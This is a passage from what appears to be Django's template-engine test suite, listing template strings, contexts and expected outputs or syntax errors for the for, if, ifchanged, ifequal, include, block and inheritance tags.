            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            # These tests raise deprecation warnings and will raise an exception
            # in Django 2.0. The existing behavior is silent truncation if the
            # length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x': [1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01': (""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02': (""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03': (""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04': (""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1, 2, 3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1, 1, 3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1, 1, 1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1, 2, 3)}, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (5, 6, 7)}, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 2), 'numx': (5, 6, 6)}, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days': [{'day': 1, 'hours': [1, 2, 3]}, {'day': 2, 'hours': [3]}]}, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days': [{'day': 1, 'hours': [1, 2, 3]}, {'day': 2, 'hours': [3]}]}, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1, 1, 2, 2, 2, 3, 4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1, 2, 3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
